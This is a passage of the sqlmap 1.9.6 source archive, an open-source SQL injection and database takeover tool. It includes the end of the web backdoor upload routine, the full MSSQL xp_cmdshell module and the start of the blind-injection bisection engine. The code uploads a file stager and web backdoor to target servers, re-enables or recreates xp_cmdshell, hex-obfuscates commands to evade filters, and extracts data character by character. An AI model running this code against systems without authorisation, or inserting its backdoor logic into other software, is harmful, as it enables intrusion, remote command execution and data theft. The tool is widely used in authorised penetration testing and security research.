silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(OrderedSet(directories)) path = _urllib.parse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with openFile(filename, "w+b") as f: _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warning(warnMsg) continue elif self.webPlatform == WEB_PLATFORM.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webPlatform == WEB_PLATFORM.ASP: match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warning(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break ����������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/takeover/xp_cmdshell.py������������������������������������������������������������0000664�0000000�0000000�00000027076�15022617442�0020305�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import getSQLSnippet from lib.core.common import hashDBWrite from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastResponseDelayed from lib.core.compat import xrange from lib.core.convert import encodeHex from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.threads import getCurrentThreadData from lib.request import inject class XP_cmdshell(object): """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. """ def __init__(self): self.xpCmdshellStr = "master..xp_cmdshell" def _xpCmdshellCreate(self): cmd = "" if not Backend.isVersionWithin(("2000",)): logger.debug("activating sp_OACreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self._randStr = randomStr(lowercase=True) self.xpCmdshellStr = "master..new_xp_cmdshell" cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) if not Backend.isVersionWithin(("2000",)): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd)) def _xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg += "stored procedure" logger.debug(debugMsg) cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) return cmd def _xpCmdshellConfigure2000(self, mode): debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg += "stored procedure" logger.debug(debugMsg) if mode == 1: cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode)) else: cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode)) return cmd def _xpCmdshellConfigure(self, mode): if Backend.isVersionWithin(("2000",)): cmd = self._xpCmdshellConfigure2000(mode) else: cmd = self._xpCmdshellConfigure2005(mode) inject.goStacked(agent.runAsDBMSUser(cmd)) def _xpCmdshellCheck(self): cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) self.xpCmdshellExecCmd(cmd) return wasLastResponseDelayed() @stackedmethod def _xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) threadData.disableStdOut = True logger.info("testing if xp_cmdshell extended procedure is usable") output = self.xpCmdshellEvalCmd("echo 1") if output == "1": logger.info("xp_cmdshell extended procedure is usable") elif isNoneValue(output) and conf.dbmsCred: errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() errMsg += "storing console output within the back-end file system " errMsg += "does not have writing permissions for the DBMS process. " errMsg += "You are advised to manually adjust it with option " errMsg += "'--tmp-path' or you won't be able to retrieve " errMsg += "the command(s) output" logger.error(errMsg) elif isNoneValue(output): logger.error("unable to retrieve xp_cmdshell output") else: logger.info("xp_cmdshell extended procedure is usable") threadData.disableStdOut = popValue() def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): echoedLines = [] cmd = "" charCounter = 0 maxLen = 512 if isinstance(fileContent, (set, list, tuple)): lines = fileContent else: lines = fileContent.split("\n") for line in lines: echoedLine = "echo %s " % line echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) for echoedLine in echoedLines: cmd += "%s & " % echoedLine charCounter += len(echoedLine) if charCounter >= maxLen: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) cmd = "" charCounter = 0 if cmd: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # When user provides DBMS credentials (with --dbms-cred) we need to # redirect the command standard output to a temporary file in order # to retrieve it afterwards # NOTE: this does not need to be done when the command is 'del' to # delete the temporary file if conf.dbmsCred and insertIntoTable: self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = "%s > \"%s\"" % (cmd, self.tmpFile) # Obfuscate the command to execute, also useful to bypass filters # on single-quotes self._randStr = randomStr(lowercase=True) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr try: self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False)) except UnicodeError: self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) # Insert the command standard output into a support table, # 'sqlmapoutput', except when DBMS credentials are provided because # it does not work unfortunately, BULK INSERT needs to be used to # retrieve the output when OPENROWSET is used hence the redirection # to a temporary file from above if insertIntoTable and not conf.dbmsCred: self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr) return agent.runAsDBMSUser(self._forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): output = None if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) # When user provides DBMS credentials (with --dbms-cred), the # command standard output is redirected to a temporary file # The file needs to be copied to the support table, # 'sqlmapoutput' if conf.dbmsCred: inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) if (output is None) or len(output) == 0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: _ = "" lines = [line for line in flattenValue(output) if line is not None] for i in xrange(len(lines)): line = lines[i] or "" if line is None or i in (0, len(lines) - 1) and not line.strip(): continue _ += "%s\n" % line output = _.rstrip('\n') return output def xpCmdshellInit(self): if not kb.xpCmdshellAvailable: infoMsg = "checking if xp_cmdshell extended procedure is " infoMsg += "available, please wait.." logger.info(infoMsg) result = self._xpCmdshellCheck() if result: logger.info("xp_cmdshell extended procedure is available") kb.xpCmdshellAvailable = True else: message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " if readInput(message, default='Y', boolean=True): self._xpCmdshellConfigure(1) if self._xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") kb.xpCmdshellAvailable = True else: logger.warning("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") self._xpCmdshellConfigure(0) self._xpCmdshellCreate() if self._xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") kb.xpCmdshellAvailable = True else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" logger.warning(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) if not kb.xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" raise SqlmapUnsupportedFeatureException(errMsg) debugMsg = "creating a support table to write commands standard " debugMsg += "output to" logger.debug(debugMsg) # TEXT can't be used here because in error technique you get: # "The text, ntext, and image data types cannot be compared or sorted" self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") self._xpCmdshellTest() ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/������������������������������������������������������������������������0000775�0000000�0000000�00000000000�15022617442�0015745�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/__init__.py�������������������������������������������������������������0000664�0000000�0000000�00000000222�15022617442�0020052�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/blind/������������������������������������������������������������������0000775�0000000�0000000�00000000000�15022617442�0017035�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/blind/__init__.py�������������������������������������������������������0000664�0000000�0000000�00000000222�15022617442�0021142�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/blind/inference.py������������������������������������������������������0000664�0000000�0000000�00000103575�15022617442�0021360�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import re import time from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeDbmsHexValue from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import goGoodSamaritan from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_REVALIDATION_STEPS from lib.core.settings import NULL from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from lib.utils.xrange import xrange from thirdparty import six def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 if payload is None: return 0, None if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: pass elif PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal if Backend.isDbms(DBMS.MCKOI): match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) if match: original = queries[Backend.getIdentifiedDbms()].inference.query right = original.split('<')[1] payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) expression = match.group(1).strip() elif Backend.isDbms(DBMS.FRONTBASE): match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) if match: payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) expression = match.group(2).strip() try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): firstChar = 0 elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): lastChar = 0 elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) if kb.bruteMode: numThreads = 1 else: numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) if numThreads > 1: if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) def tryHint(idx): with kb.locks.hint: hintValue = kb.hintValue if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: if "'%s'" % CHAR_INFERENCE_MARK in payload: posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = agent.extractPayload(payload) or "" forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace(markingValue, unescapedCharValue) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return hintValue[idx - 1] with kb.locks.hint: kb.hintValue = "" return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare and getTechniqueData().trueCode: result = threadData.lastCode == getTechniqueData().trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(getTechnique()) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if kb.disableShiftTable: shiftTable = None elif continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None else: if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: if threadData.lastCode is not None: warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode else: warnMsg = "unexpected response detected." warnMsg += " Will use (extra) validation step in similar cases" singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: kb.disableShiftTable = True return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warning(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment 